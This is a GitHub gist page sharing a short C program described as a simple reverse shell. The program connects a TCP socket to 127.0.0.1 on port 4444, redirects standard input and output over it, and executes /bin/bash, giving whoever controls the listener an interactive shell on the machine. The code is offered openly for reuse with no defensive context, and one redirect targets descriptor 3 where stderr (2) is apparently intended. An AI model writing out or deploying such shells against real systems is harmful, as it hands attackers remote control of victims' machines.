Skip to content

Instantly share code, notes, and snippets.

@zPrototype
Last active August 24, 2022 17:11
Show Gist options
  • Save zPrototype/a2693fae2653c87efac4248b239f7e42 to your computer and use it in GitHub Desktop.
Save zPrototype/a2693fae2653c87efac4248b239f7e42 to your computer and use it in GitHub Desktop.
Simple reverse shell in C
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sock;
int port = 4444;
struct sockaddr_in revsockaddr;
sock = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 3);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment